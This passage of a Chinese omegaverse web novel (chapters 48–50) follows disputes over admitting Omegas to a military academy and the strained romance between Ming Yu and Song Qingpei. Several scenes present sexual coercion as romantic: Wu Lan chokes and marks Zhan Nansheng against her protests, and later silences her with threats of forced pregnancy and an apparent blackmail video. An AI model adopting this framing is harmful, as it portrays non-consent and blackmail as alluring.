战南笙从阴影中走了出来,脸上带着几分不悦,“你什么时候发现的?” 乌澜双手抱胸,眼神冷冽,“如果连你这点小把戏都察觉不了,我这调查局长岂不是白当了?” 战南笙皱了皱眉,目光在乌澜身上扫过,最后落在她的脸上,语气里带着一丝质问:“你为什么跟宋青佩走得那么近?” 乌澜轻笑了一声,语气里带着几分漫不经心:“我跟谁走得近,跟有什么关系?” 战南笙的脸色瞬间沉了下来,语气里带着几分阴阳怪气:“怎么,你现在是专挑Alpha下手吗?” 乌澜眸色一沉,眼神骤然变得凌厉。 她向前一步,逼近战南笙,声音低沉而危险:“你是不是忘记了,我之前说过,的话?” 话音未落,乌澜的信息素骤然释放,空气中弥漫着一股强烈的压迫感。 战南笙被这股信息素逼得腿一软,身体不由自主地颤抖起来。 脑海中闪过乌澜的话:见你一次,标记一次。 她心里一慌,下意识地想要后退,却被乌澜一把掐住了脖子。 乌澜的手掌冰凉,力道不轻不重,却让战南笙动弹不得。 她将战南笙拖到拐角处,将她抵在墙上,另一只手轻轻撩起她的下巴,眼神里带着几分戏谑和危险。 “跑什么?”乌澜的声音低沉,带着一丝沙哑,“这不就是你想要的吗?大小姐。” 战南笙的呼吸变得急促,脸颊微微泛红。 她想要挣脱,却发现自己的身体在乌澜的信息素压制下变得软弱无力。 她咬了咬牙,声音里带着几分不甘:“乌澜,你……你别太过分。” 乌澜轻笑了一声,手指轻轻划过战南笙的脖颈,指尖的温度让战南笙不由自主地颤抖了一下。 战南笙的呼吸越来越急促,心跳如鼓。 她想要说什么,却发现自己的声音已经变得微弱:“你……你到底想干什么?” 乌澜没有回答,而是低头靠近她的耳边,温热的气息喷洒在她的耳畔,声音低沉而诱惑:“你说呢?” 战南笙的身体微微颤抖,手指紧紧攥住乌澜的衣角,理智在乌澜的信息素和暧昧的举动下逐渐崩塌,最后只能无力地靠在墙上,任由乌澜的气息将她彻底包围。 该死,竟然被撩拨的易感期来了。 乌澜的指尖轻轻抚过她的脸颊,冷笑道:“大小姐,想被标记直接来找我就行,不用找这么多借口。” 战南笙的呼吸一滞:“我……我才没有。” 乌澜轻笑了一声,手指轻轻捏住她的下巴,强迫她与自己对视:“没有?那你现在在做什么?” 战南笙被乌澜的信息素压制得几乎喘不过气来,她咬着牙,嘴里还不忘骂骂咧咧:“乌澜,你这个……混蛋!你放开我在,这里随时都有人会来……呃” “那就请大小姐忍住不要叫。” 说着,乌澜啃上了战南笙的腺体,信息素注入的瞬间,战南笙浑身颤抖几乎站立不住。 “你竟然敢在这里……战南笙……我……我不会放过你……” 乌澜却只是轻笑了一声,加重了力道。 直到怀里的人彻底软了下去,她才松开,语气里带着几分戏谑:“大小姐,你这张嘴,真是不饶人啊。” 战南笙还想再骂,可话还没出口,乌澜再次标记她。 战南笙只觉得眼前一黑,身体一软,直接晕了过去。 乌澜眼疾手快地接住了她,低头看着怀里的人,眼底闪过一抹复杂的情绪。 随后将战南笙打横抱起,轻轻放在副驾驶座上,系好安全带,随后发动车子离去。 另一边,明毓坐在办公室里,光脑上显示刚刚送来的消息,眼神里带着几分惊讶。 “乌澜竟然把战南笙抱回去了?”明毓低声自语。 她确实没想到,乌澜竟然敢这么大胆,直接对战南笙下手。 战南笙可不是一般人,乌澜这么做,难道不怕被总统战笠知道? 明毓正思索着,光脑往下一翻看,脸色顿时沉了下来。 “宋青佩和乌澜一起吃饭了……”明毓的眉头皱得更紧了。 乌澜怎么会直接找上宋青佩?到底有什么目的? ***** 晚上,宋青佩回到家,一进门就看到明毓坐在沙发上,手里端着一杯茶,眼神淡淡地扫了过来。 “回来了?”明毓的声音平静,听不出情绪:“吃过饭了吧。” 宋青佩点了点头,走到她旁边坐下,也没有隐瞒:“嗯,今天和调查局乌澜局长吃了顿饭。” 明毓放下茶杯,转头看向她,语气里带着几分试探:“乌澜跟你聊了什么?” 宋青佩如实回答:“她主要是问了一些关于慕容瑞雪的事情。” 明毓听完,眉头微微皱起:“乌澜这个人,心思深沉,你跟她接触要小心。不能只提防慕容瑞雪,乌澜同样深不可测,接触你怕是也没安好心。” “你不要那么敏感。”宋青佩听了,忍不住替乌澜辩解:“她今天跟我聊得很轻松,也没有表现出什么恶意,看上去并不像传言的那样。” 明毓看了她一眼,微微挑眉:“你怎么能那么容易相信别人?乌澜能在调查局坐到今天的位置,绝不是简单的人物。她接近你,一定有她的目的。” 不知为何,宋青佩总觉得乌澜给她一种莫名的亲近感,不由再次辩解道:“明毓,你是不是有些戒备过度了,我觉得她对我并没有什么恶意。” 明毓的心不由骤然沉下,宋青佩鲜少因为外人跟她如此争执。 第48章 漏风的小棉袄 明毓的手指无意识地摩挲茶杯边缘,热茶氤氲的水汽模糊了她的表情,但紧绷的下颌线暴露了情绪。 她有些生气,却不敢轻易发火,现在的宋青佩根本就不在乎她生不生气。 她开口时声音刻意放轻,但尾音带着一丝冷硬的压迫感:“青佩,乌澜根本不是你认为的那么无害。不然她怎么会用明芮来逼我,让你去接触慕容瑞雪。” 宋青佩面对明毓,坦然道:“我明白你的担忧,但是如果她真要对我做什么,就不会大庭广众之下来是不是?你看我在蓝海,接触那么多人,你总不能每一个人都告诉我,我能不能接触。我是一个成年人,不是颂颂,我有自己的判断基准。” “可我只是担心你……”明毓欲言又止。 当然不只是担心,而是她不喜欢宋青佩对旁人的信任超过自己。 “担心……你是想把一切都控制在自己手里,才觉得安全吧。”宋青佩没发觉自己这句话几乎是对明毓‘控制欲’的反驳。 明毓猛地站起身,军靴踩在地板上的闷响打破寂静,她走到窗边背对宋青佩,玻璃倒影里能看到她僵直的背,最终却什么也没说。 “明毓,如果有什么不对的地方,我会告诉你的。”宋青佩又抱着颂颂来到明毓身侧,“就像颂颂,幼儿园开心不开心,都会和你分享。” 明毓看了看她,因着宋青佩声音软了不少,她也没有刚才那么强硬。 “宋青佩,我不怕战场明枪。” 言外之意,却怕宋青佩因“轻信”坠入陷阱。更深一层,可能是怕自己成为被推开的人。 “放心吧,明毓。”宋青佩说:“我知道分寸,也理解你的担心。只是我们是两个个体,所以还希望你可以……” “妈妈妈咪,我困了。”颂颂听不懂妈咪妈妈在说什么,听了会就无聊的打哈欠,只能先去哄颂颂睡觉。 等颂颂睡了,明毓来宋青佩房间的时候,宋青佩刚洗完澡,在吹头发。 看到明毓头发还没有干,她下意识的问了一句,“你要不要吹下头发?” 原本只是习惯性的一句客套,没想到明毓还当真了,真的在她面前坐下,一副让她帮忙的架势,宋青佩哭笑不得。 看着宋青佩悉心的给自己吹头发,明毓不由凝神静气,就连宋青佩吹头发手指偶尔撩到耳边,都能让她心猿意马。 不过不知道是不是最近一直被宋青佩安抚,她的信息素也稳定下来,不需要时时刻刻的担心了。 而今天,虽然没在发热期,但她信息素本来不稳定,所以又到了需要被安抚的时候。 被注入了Alpha信息素的明毓不由自主地闭上了眼,眼尾至耳根开始泛红,脖颈高高扬起,红唇紧咬,随即开始颤抖,蜷缩在床上。 哪怕是隔着一点点距离,宋青佩都能感觉到明毓身体传来的滚烫温度。 宋青佩下意识往后退了退,但信息素还是不受控制的被勾了出来。 察觉到宋青佩的疏离,明毓紧咬红唇,突然转身,抬手把宋青佩拉了过来。 “别躲我。”明毓故意扬眉,手朝着宋青佩腰腹部往里面探去。 “别闹。”宋青佩察觉到明毓使坏,再次想躲开。 可明毓纵然是Omega,但她上将的本事可是实打实的,长腿一抬,就把宋青佩压在了身下。 “次次这样隔靴搔痒,有什么意思?” 明毓的手顺着宋青佩的脖子往下一点点滑,滚烫的指尖就像是在点火。 尤其是腰腹部的重量和热度,透过睡衣传进来,宋青佩整个人难得软了下来,信息素不受控制的往外溢出。 但她还是嘴硬:“明毓,你……” “呵呵~易感期了还这么嘴硬……” 明毓说着,彻底放下了所有的矜持,主动吻了上去。 玫瑰气息充斥着鼻尖,宋青佩的信息素也被勾引了出来,一刹那汹涌澎湃,包裹住了Omega的信息素。 良久唇分,明毓眼角微红:“青佩你记着,我不允许你因为别的Omega而进入易感期,否则……我绝不饶你!” 说着再次吻了下去。 明明知道现在不是时候,可是面对明毓的主动,宋青佩还是忍不住有点失控,信息素在卧室内弥漫,与喘息声纠缠…… “呜呜呜,妈妈妈咪~你们又丢下颂颂一个人睡,呜呜呜,颂颂好怕怕~” 颂颂的哭声在门外响起来,在这最后关头,彻底惊醒了两人。 信息素霎时间退去,明毓还好,可宋青佩的易感期彻底被勾了起来。 她抬头搂着明毓的脖子,把人压下来,狠狠咬了一下她的唇角,这才把人推开去了浴室。 “妈妈,妈咪~”颂颂还在喊着。 明毓连忙整理好衣服,去打开门。 颂颂抱着玩偶就顿在门口,仔细瞧,哪有一滴眼泪。 “妈咪,妈妈呢?” “妈妈生病了,今天晚上,妈咪陪你好不好?”明毓抱起颂颂。 颂颂眼睛却频频看向里面:“妈妈生病,颂颂要去看妈妈。” “别,她生病,万一给颂颂传染了,妈咪就要照顾两个人了。” “那……那好吧。”颂颂抱住明毓的脖子。 哄着颂颂睡着,明毓却怎么都睡不着。 没了宋青佩的晚上,她……已经不习惯了。 第二天早上,明毓是被光脑震醒来的。 她猛地睁开眼,按了一下静音,看到投屏出来的林中尉的消息:“明上将,军校筹备出了问题,战中将一早就来了军部。” 战南笙,她来做什么? 明毓看了一眼身旁熟睡的宋青佩,轻手轻脚地起身,随即快步走出房间。 ***** 军部的明毓的办公室里,战南笙早已坐在沙发上喝着沙星送来的,特有的饮料。 眼镜片上倒影着一份全息投影的名单,看起来很不满意。 明毓推门看到战南笙这么惬意,想起了昨天看到的事情,谁知道她竟然能跟乌澜扯到一起。 她的脚步在战南笙面前停下,军靴在地板上发出清脆的声响。 “明上将,来得可真早。”战南笙的声音里带着明显的讥诮,“看来昨晚睡得不错?怎么,劣A也能让明上将流连忘返?” 明毓情绪稳定,没有理会她的挑衅,目光扫过名单上的名字。 几个Omega的名字被特意标注出来,精神力评级一栏清晰地写着“A级”。 还有两位,年龄一栏则显示“25岁”。 “战中将,你一大早来,就是为了这个?这份名单有什么问题?”明毓的声音平静,但眼神中已经隐隐透出冷意。 战南笙指尖虚空点着,放大了这几个人的名字和资料,手指在茶几上重重敲了敲。 “明上将,我父亲将这么大事情交给你,你就是这么做筛选的?” 战南笙讥笑道:“这些Omega,有的精神力评级只有A级,有的年龄也偏大。明上将,您真的认为她们适合进入高级军事学院?” 明毓没有理会,坐回自己的办公椅上:“我选拔人才的标准是能力,而不是年龄。她们在各自领域都表现优异,完全有资格进入高级军事学院。” 战南笙冷笑一声,猛然起身揍到办公桌前,身体前倾。压迫感十足:“能力?明上将,您这是在自欺欺人吧?这些Omega25岁入选高级军事学院,毕业都快30岁了,到时候她们找个Alpha嫁人?明上将这是在给别的Alpha培养军官老婆呢!” 明毓的脸色瞬间沉了下来,“战中将,请您注意言辞。这些候选人都是经过严格筛选的,她们的能力和潜力毋庸置疑,Omega也可以很自律!” 战南笙直起身,“明上将,您说得倒是冠冕堂皇。自律?呵呵!就说你自己呢?” “明上将……你堂堂SSS级Omega,不也在发热期找了个劣A标记生了孩子?” “你女儿的精神力测过么?有遗传到你的优秀,还是遗传了她母亲的劣质精神力?” “连你都不行,你又如何保证这些Omega可以自控?” 明毓的瞳孔骤然收缩,胸口剧烈起伏。不得不承认,被信息素控制感情的Omega,确实是个极大的弊端。但是这些问题都可以想办法解决,而不是因为这些问题,就剥夺Omega从军的权利。 战南笙还在不管不顾:“我看,Omega还是在家里结婚生子比较好,完全没必要去自讨苦吃,拖后腿……” “战南笙!” 明毓猛地站起身,椅子拉出刺耳的声响:“这些话,你敢对着乌局长说么?她那么优秀的Omega,不也一样可以为帝国做出贡献。要不,我打电话给她来,咱们一起探讨一下?” 战南笙脸色霎时间发白,耳根后还带着可疑的红晕。 要不是刚才明毓提及战南笙是Omega,她都要以为明毓知道些什么了。 这些人怎么能跟乌澜相比,她可是……Enigma。 第49章 让你怀孕怎么样? 天性慕强的战南笙根本就没将明毓的话放在心上,反而嗤笑一声道:“明毓,你不要将Omega群体中的个例当做整体实力,毕竟Omega天生弱于Alpha,这是不争的事实。” “好,战中将,我明白你的意思了。” 本以为明毓会继续跟她争执,没想到对方却并没有再反驳,反而一副无奈妥协的模样,这完全不符合明毓强势的性格,战南笙本能地感觉到一丝不妙。 没想到,下一刻明毓居然起身拨通了电话。 “乌局长,实在不好意思,战副校长对于大量Omega入学表示不满,你推荐的这些人怕是暂时不能办理入学了” “什么?”话还没说完,战南笙脸色一变:“这些Omega是乌澜推荐的?” 看着战南笙陡然变色的模样,明毓一向平静的脸上难得露出了一丝兴味,这位乌局长手段了得啊,居然能将一向傲慢跋扈的战南笙治得服服帖帖。 见她不说话,战南笙顿时急了,“明毓,你说话!乌澜乌澜她刚才说什么了?” 明毓少见的露出看戏般的笑:“没什么,乌局长说,她一会亲自过来跟战副校长谈谈。” 闻言,战南笙本能的脊背一凉,耳根后泛起一抹可疑的红晕。 她强压下内心的慌乱,故作镇定地反驳道:“你不要转移话题,乌澜来了也没用,我我不会改变立场的。” 明毓微微挑眉,眼中闪过一丝玩味。 她慢条斯理地坐回椅子上,双手交叉放在桌面上,语气平静却带着一丝挑衅:“战中将,既然你这么坚持,那我们不妨等乌局长来了再继续讨论。毕竟,乌局长就是一个最好的例子,她不仅不弱于任何Alpha,甚至比大多数Alpha更优秀。你难道能否认她的成就?” 闻言,战南笙的脸色更加难看,她试图保持冷静:“明毓,你这是故意拖延时间。乌局长再厉害,也不能改变Omega天生弱于Alpha的事实。” 明毓轻笑一声,目光锐利如刀:“战中将,你口口声声说Omega弱于Alpha,可你有没有想过,正是这种偏见限制了她们的发展?她们需要的是机会,相对合理的训练和合适岗位,他们不会弱于Alpha。乌局长也是这么认为的,她对这些推荐的Omega比我们更了解。” 战南笙一时语塞,乌澜的成就确实无可挑剔。作为调查局局长,她的能力和手腕甚至让许多Alpha望尘莫及,战南笙有口难言,根本无法说出她并不是Omega的事情。 她冷哼一声,语气中带着几分不屑:“乌局长是特例,我们不能以偏概全。军校是培养战士的地方,不是慈善机构,我们不能因为同情就降低标准。” 明毓正要反驳,办公室的门突然被推开。 乌澜一身笔挺的制服,步伐轻快地走了进来。她的目光在战南笙身上停留了一瞬,随即转向明毓,微微一笑:“明上将,抱歉,我来晚了。” 明毓站起身,点了点头:“乌局长,你来得正好。战中将对我们推荐的Omega候选人有些异议,我想听听你的意见。” 乌澜的目光再次落在战南笙身上,眼神中带着几分深意。 她缓步走到战南笙面前,语气平静却不容置疑:“战副校长,能告诉我,你为什么反对这些Omega入学吗?” 战南笙被乌澜的目光逼得有些心虚,但她还是强撑着挺直了背脊,语气生硬地说道:“乌局长,我认为Omega在体能和精神力上普遍弱于Alpha,不适合进入军校。更何况,她们的年龄偏大,毕业后可能很快选择结婚生育,这对军校的资源是一种浪费。” 乌澜听完,轻轻点了点头,似乎对战南笙的回答并不意外。 她转头看向明毓,语气温和:“明上将,能请你暂时回避一下吗?我想和战副校长单独谈谈。” 明毓笑了笑,毫不犹豫地站起身:“当然,乌局长请便。” 说完,她径直走出了办公室,顺手带上了门。 战南笙见状,心中一紧,下意识地想要跟上去:“乌澜,我们没什么好单独谈的,我……” 她的话还没说完,乌澜已经一步跨到她面前,伸手扣住了她的手腕。 她的力道并不重,但战南笙却感觉到一股无形的压迫感从她身上散发出来,让她动弹不得。 “战南笙,”乌澜的声音低沉而危险,“你是不是忘了,我之前说过的话?” 战南笙试图挣脱乌澜的手,却发现自己的力气在乌澜面前显得如此微不足道。她的呼吸变得急促,声音也有些发抖:“乌澜,你……你别太过分。这里是军部,你不能乱来……” 乌澜轻笑一声,手指轻轻抚过战南笙的脸颊,语气中带着几分戏谑:“大小姐,你觉得我会在乎这里是哪里吗?你既然敢故意找事,就应该想到后果。” 战南笙的心跳如鼓,她感觉到乌澜的信息素正在逐渐释放,空气中弥漫着一股强烈的压迫感。 她的双腿开始发软,几乎站立不住,但还是强撑着不肯示弱:“乌澜,你这是公私不分!你不能因为私人恩怨就干涉军校的选拔!” 乌澜摇了摇头,意味深长的笑了笑:“既然如此,那我们就来聊聊关于Alpha和Omega之间的问题。” “你这是什么意思?”战南笙的声音有些发抖。 感受着战南笙的颤抖,乌澜轻笑一声,语气中带着几分戏谑:“大小姐,你是不是觉得,Alpha天生比Omega强大,Alpha对Omega就该处于俯视的地位,就该看不起Omega,而不是帮助她们变得强大。 如果是这样的话,那我比你强大,是不是也该看不起你,可以肆意对你做任何想做的事,比如标记你,让你也尝尝像Omega一样的滋味。” 战南笙的瞳孔猛地收缩,她感觉到乌澜的手指正在她的腺体上轻轻摩挲,那种触感让她浑身战栗。 “乌澜,你……你敢!” “你觉得我敢不敢?”乌澜冷笑一声,语气中带着几分威胁:“战南笙,你要是再这么固执妨碍我们做事,我不介意让你亲自体验一下Omega的‘弱点’,你说我要是把你肚子搞大,全联邦的人会怎么看待你” 战南笙的呼吸越来越急促,她的理智在乌澜的信息素压制下逐渐崩塌,终于忍不住妥协:“乌澜,停下……我答应你,不要……” 乌澜的动作停了下来,但她并没有立刻放开战南笙。 她低头看着战南笙慌乱的眼神,语气中带着几分嘲讽:“大小姐,早这么听劝不就好了?何必非要逼我动手?” 战南笙咬着唇,眼中闪过一丝屈辱,但她不敢再反抗。接连好几次的教训,让她相信乌澜绝对说到做到,要是她真的把拍得视频发出去,她就真的不用活了。 见她服软,乌澜这才松开了手,慢条斯理地替她整理好衣服。 她的动作轻柔,仿佛刚才的威胁从未发生过。 整理完毕后,乌澜退后一步,语气恢复了平静:“战副校长,现在我们可以好好谈谈了吗?” 战南笙低着头,狠狠地瞪了她一眼,“我能说不吗?” 乌澜满意地点了点头,随即拨通了明毓的光脑:“明上将,麻烦你过来一下,我们已经达成一致了。” 明毓很快回到了办公室,看到战南笙脸色苍白地坐在沙发上,而乌澜则神色如常地站在一旁。她心中了然,但并没有多问,只是微笑着说道:“看来两位已经谈妥了?” 乌澜点了点头,语气轻松:“是的,战副校长已经同意了我们推荐的入学名单。明上将,你可以继续推进后续的工作了。” 看了战南笙一眼,见她没有反驳,明毓笑道:“那就太好了。战中将,感谢你的理解和支持。” 战南笙勉强挤出一丝笑容,声音干涩:“……明毓,你别得意。” 乌澜走到战南笙身边,轻轻拍了拍她的肩膀,语气中暗含警告:“战副校长,没事的话你先回去吧。我和明上将还有些事情要谈。” 战南笙的身体一僵,只能站起身,离开了办公室。 走出门的瞬间,她的眼中闪过一丝不甘。 她不明白,为什么乌澜会对明毓如此特殊,甚至不惜为了她威胁自己。 办公室里,乌澜看着战南笙离开的背影,轻轻叹了口气。 她转头看向明毓,笑道:“明上将,让你见笑了。” 明毓摇了摇头,“乌局长客气了。倒是你,为了这些Omega候选人费心了。” 乌澜微微一笑,眼神中带着几分深意:“明上将,我们都是Omega,自然要为自己人争取更多的机会。不过,我倒是没想到,你会和宋青佩走到一起。” 听她提起宋青佩,明毓的眉头皱起,语气中带着一丝警惕:“乌局长,你这是什么意思?” 乌澜轻笑一声,“明上将不必紧张。我只是觉得,宋青佩这个人……很有意思。她虽然是个Alpha,但并没有Alpha那种傲慢和偏见,或许,她真的能给你带来一些不一样的东西。” 她沉默了片刻*,才缓缓开口:“乌局长,你到底想说什么?” “明上将,我只是希望你能珍惜眼前人。毕竟,像宋青佩这样的人,并不多见。”乌澜笑道:“明上将忙吧,我先走了。” 明毓没有再说话,目送乌澜离去,心中却泛起了一丝波澜。 看乌澜今天的反应,难怪宋青佩会维护她,她对青佩的态度和常人完全不一样,这种反常让明毓不由起了强烈的警惕心。 她对宋青佩未免太过关注了,这不是一件好事。 另一边。 宋青佩早上到蓝海维修部时,发现慕容瑞雪的工位空着。 她正疑惑,同事小李从旁边探出头来:“宋工,找慕容部长啊?她今天被借调到军事学院帮忙面试学员了,今天应该不会回来了。真羡慕,如果我也能去参加学员面试该多好!只可惜我资历不够。” 宋青佩点点头,不用防备慕容瑞雪,她心里松了一口气:“那我去修我昨天没弄完的机甲。” 这是一架常见的战斗工蜂机甲,但破损程度却异常严重,外壳上布满了能量武器留下的焦黑痕迹。 她戴上防护手套,拿起工具,开始专注地拆卸机甲的外壳。 时间一分一秒过去,维修间的光线逐渐变得昏暗,她却浑然不觉。 直到一道关切的声音响起,“青佩,怎么大中午的还在这里?是不是忘了休息还没吃饭?” 慕容瑞雪? 宋青佩的身体瞬间绷紧,本能地拉开两人之间的距离,但又怕慕容瑞雪察觉到什么,故作惊讶道:“瑞雪姐,是你啊。我还以为是小李呢。” 语气里带着几分恰到好处的惊讶,肩膀也放松下来。 慕容瑞雪原本因她的后退动作而生出疑虑,但看到她此刻放松的姿态,又觉得她刚才只是把自己当成了别人,反倒对自己没那么戒备。 她笑着打趣道:“小李去仓库取零件了,走,一起去吃饭。” “你也没吃?小李说你今天去忙了,还以为你不来了呢。刚好这里还有点疑问……”宋青佩指了指工蜂机甲。 “先吃饭!”慕容瑞雪道:“身体重要,而且我也没吃,就当陪我吃点。” “啊,去面试学员不给管饭?”宋青佩走到饮水机旁,给自己倒了杯水,也给慕容瑞雪递了一杯。 慕容瑞雪接过来,道谢后继续说:“早上出了点小插曲,正副校长意见不合,招生章程可能要重新修订,所以我提前回来了。” 宋青佩闻言眸子微微瞪大,校长不就是明毓,“明毓遇到了麻烦?” 慕容瑞雪语气里带着几分试探,“你很关心明上将?” 宋青佩喝水的动作微微一顿,随即若无其事地说道:“毕竟她是颂颂的妈咪,关心一下很正常吧。具体是什么问题呢?方便说吗?” 慕容瑞雪叹息:“是战副校长对Omega的偏见,不同意大量招收Omega军校生。” 听到战南笙的名字,宋青佩脑海中一下浮现出一个身影。 这人曾经找过她合作对付明毓被拒绝了,一看就是个强势的人,没想到做事也这么没品,居然仗着自己的身份屡次为难明毓。毕竟明毓这次确实是为了更多的Omega争取机会,做的是利好更多人的事,她忍不住有些担心,以明毓的脾气,会不会气得连饭都不吃了。 犹豫了片刻,宋青佩难得主动给明毓发了条信息。 【不管发生什么事,一定要好好吃饭,身体是革命的本钱嘛。】 第50章 主动标记 收到信息的明毓正在核对军校的新生名单,还以为是下属的工作信息,就没有急着看,等她终于忙完,已经是一个小时后。 她习惯性地打开光脑,准备挨个处理工作信息。 当她打开光脑信息,在那一通乌泱泱的工作信息中,一眼就看见了备注为‘老婆’的两个字。这个备注还是她试图跟宋青佩和好失败后,自我安慰改的,此刻她忍不住赶紧打开了讯息。 【不管发生什么事,一定要好好吃饭,身体是革命的本钱嘛】 明晃晃的信息在她眼前闪过,一度让明毓以为自己是不是幻视了。 自从她和宋青佩重逢后,宋青佩从没有主动给她发过这种消息,就算发消息,也是公事,比如那次因为慕容瑞雪的事,言简意赅,根本就没多少温情可言。 可是这条信息,里面满满的都是关心,许久不曾有的亲密。 此刻,上将大人心情激动得无以言表,甚至因为没有吃饭带着一点小小的心虚。脑子里更是疯狂旋转着,宋青佩为什么会突然给她发这个消息?难道是终于想通了,试图给她一点和好的讯息,还是纯粹因为颂颂,不想两人的关系一直这么僵下去。 无论哪种,对于她而言都是一种不敢奢想的进展。 明毓手指颤抖地拿着光脑,思考着该怎么回复。 【青佩,谢谢你的关心,我吃过了。】 正要准备发出去的时候,她又觉得是不是太过正式冷淡? 青佩应该不喜欢她这样,她想了想,删除掉重新编辑,想要发:【老婆,你吃了吗?】又觉得是不是太过得寸进尺了,宋青佩会不会生气。 删删打打,许久之后,上将大人终于郑重地发出了一条精心编辑过的信息,内容如下: 【青佩,我吃过了。你中午吃的什么?】 称呼青佩,亲密不失尊重。吃过了,精准地回答了问题。最后的问句,给了对方回复她的机会。 上将大人计划得十分完美,这样她们就可以趁机多聊几句。 发出消息后,她撑着下巴开始等待宋青佩的回复。 一分钟,五分钟,十分钟,半个小时过去了,一天过去了…… 直到她离开军部,都没有等到宋青佩回她的消息,上将大人怏怏地回了家,一路上,都忍不住在想,是不是她回消息太慢了,宋青佩生气了。 等她回到家,发现宋青佩正和颂颂玩得不亦乐乎,看到她回来,也只是打了个招呼,似乎完全没有受到任何影响。 明毓忍不住试探道:“青佩,你看到我给你回的信息了吗?” 宋青佩头都没抬,随口道:“看到了,怎么了?” 当然是想知道宋青佩为什么突然主动关心她?是不是同意跟她和好了?甚至现在宋青佩还在易感期,是不是需要她‘帮助’? 想到自己发热期的痛苦,上将大人毫不吝啬的愿意提供帮助,但是被接二连三地拒绝了好几次,她的自尊心实在是碎了太多次,一时有些拿不准宋青佩的意思,实在不敢再贸然上赶着丢脸了。 明毓欲言又止,止言又欲。 最终也没好意思问出自己的猜测,只是在一旁心不在焉地陪着颂颂玩了一会,直到颂颂被宋青佩哄去了儿童房自己睡觉,她一个人坐在大厅等着宋青佩下来。 还是不甘心。 等宋青佩终于将难缠的小家伙哄睡,从房间出来,从二楼栏杆处望下去,正好看到明毓坐在沙发上,一向挺直的脊背,难得靠在沙发上显出微微弯曲的弧度,单手盖住了双眼,看上去十分疲惫的模样。 看她这副模样,宋青佩不由想到了之前从慕容瑞雪那里听到的事情,猜测明毓肯定是在军校遇到了麻烦,所以才会如此颓然,她不由顿了下脚步,稍做犹豫,还是走下了楼梯。 听到了脚步声靠近,明毓猛地坐直了身体,拿开手背,紧张地看向她:“……颂颂睡了。” “嗯,睡了。”宋青佩走近,轻声道:“这么晚了,你怎么还不睡?” 难得的温和语气。 上将大人再次受到了极大的鼓舞,她觉得自己没有会错意,宋青佩就是在跟她示好,于是故意用示弱的疲惫语气说:“睡不着。” 宋青佩安慰道:“别想这么多了,早点睡吧,有事情明天再解决。” “好。” 明毓嘴上答应着,心里想,有些话还是去卧室说比较好。 于是她站起身,走向二楼,然后自然地转身向宋青佩的房间走去。 跟在身后的宋青佩: 这是已经鸠占鹊巢成习惯了,又想到,明毓每次在她房间睡,基本都会搞点事。既然她还有心情过来搞事情,那说明军校的事情应该也没那么棘手,宋青佩松了口气。 明毓走进房间,就停下了脚步,站在卧室的中间,再次一副欲言又止的模样。 宋青佩见状,不由走过去,挑眉道:“你有话要说?” 闻言,明毓再次旧话重提:“我中午给你发的信息,你怎么没回?” 就这啊,宋青佩不明所以,随口道:“我当时在维修机甲,看到的时候都快下班了就没回,怎么了?” 总不会是想质问她为什么不回信息吧?明毓不应该因为军校的事情忙得焦头烂额吗?怎么会有闲心问这种无聊的小事。 见她这么轻描淡写的解释,明毓苦恼地皱了皱眉,再度解释道:“青佩,我不是故意这么晚回你消息的,是因为军校的事情比较忙……” “我理解。”宋青佩一脸莫名其妙,“明毓,你到底想说什么?” “你……中午为什么给我发那种信息?”明毓支支吾吾。 哪种信息?不就让她吃饭吗? 宋青佩一点也搞不懂明毓的意思,她苦恼地皱着眉,无语道:“上将大人,有话你能直说吗?我真猜不出你拐弯抹角的到底想说什么?” 见她将称呼换成了‘上将大人’,明毓隐隐觉得她可能有些不高兴,她本能的心底有些发慌,慌忙中,忍不住忐忑地将自己的疑惑问出了口:“青佩,你……关心我,是不是代表,你还是有点……喜欢我的?愿意尝试着跟我和好,对吗?” 只不过发了条信息让她吃饭,明毓是怎么联想到关心她?喜欢她?愿意跟她和好了?这个脑补能力,她是服气的。 宋青佩无语地按着眉心,一时甚至不知道该说些什么? 见她不说话,明毓隐隐不安,不死心地追问了一句,“……是吗?” “你说呢?”宋青佩看着她,哭笑不得道:“明毓,我只是听慕容瑞雪说你在军校遇到了战南笙的刁难,怕你这个脾气……关心你两句而已,真的不至于想这么多。” “所以,你还是关心我的。”上将大人倔强地抓住了最后的重点。 “是是是,可那又怎么样呢?”宋青佩一脸无奈,还是忍不住解释道:“那只是一句朋友间的关心而已,我可以对你说,对明芮说,甚至对慕容瑞雪说……” “可是……”明毓嘴唇抖了抖,声音带着颤音,“你已经很久没有对我这么好了。青佩,你是可以慢慢接受我,重新喜欢上我的对不对?” 宋青佩闻言,听出了她语气中的委屈,和得寸进尺。 是的,得寸进尺,只要她稍微退一步,对明毓释放一点善意,她就会立刻进一步,想要获取更多,这是她的强势性格使然,或者也有‘思想钢印’的影响。 但是这些都不重要,重要的是,这种性格已经融进了她的骨子里,只要明毓想要什么,她就会想尽方法去试探,去达成,这是她的本能,这会影响她的一生。而这也是她们之间的问题,明毓从不把她当作平等的人对待,她所有的示弱都是为了达成自己的目的—— 现在她的目的是回到当初。 但却从未尊重过宋青佩自己的想法,她目前想不想?愿不愿接受? 哪怕宋青佩之前已经明确地表达了不想,她现在还走不出来当初的伤害,暂时做朋友就好,不想在不清不楚的时候与她发生**关系,统统没有用,明毓依旧我行我素。 一瞬间,宋青佩忽然有些无力,却也隐约明白了些两人相处中规则。 她想要明毓尊重她,平等地对待她,只是嘴上抗议是没用的,她必须比明毓更加强势,才能让她在真正地面对这个问题,然后去改变。 想清楚这些的宋青佩,不得不再次戳破了两人平和的假象。 她看着明毓,一字一句道:“明毓,我清楚地告诉你,我目前没有任何想跟你重新在一起的想法。至于那条短信,仅仅是出于朋友之间的关心,如果这都能让你误会,那么,以后我不会再做这种让你误会的事……” “不,我不是这个意思。”明毓慌乱地打断了她的话。 “明毓,如果我想跟你和好,会明确告诉你。”宋青佩笑道:“所以,上将大人,你不用再自己脑补了。” 一瞬间,明毓脸色煞白,嘴唇张张合合,一句话也说不出来,一贯倔强挺直的背,此刻看上去有些摇摇欲坠。 而宋青佩并没有停下,打破了她的最后一丝幻想:“明毓,我曾经爱你的时候是什么样子,你心里清楚。所以,不要再自欺欺人了,好吗?” 听到最后一句话,明毓猛地睁大了眼,黑沉的眸子蒙上了一层水雾,慢慢在里面汇聚,一副要落不落的样子。恢复记忆后,神志清醒的她还从未在宋青佩面前哭过,此刻她却有种忍不住落泪的委屈感。 明毓,我曾经爱你的时候是什么样子,你心里清楚…… 失忆后宋青佩曾经爱她的样子,她太过清楚,而宋青佩的话,无疑是在猛戳她的心窝子,好像在告诉她,别再自欺欺人了,这样的爱,你永远都得不到了。 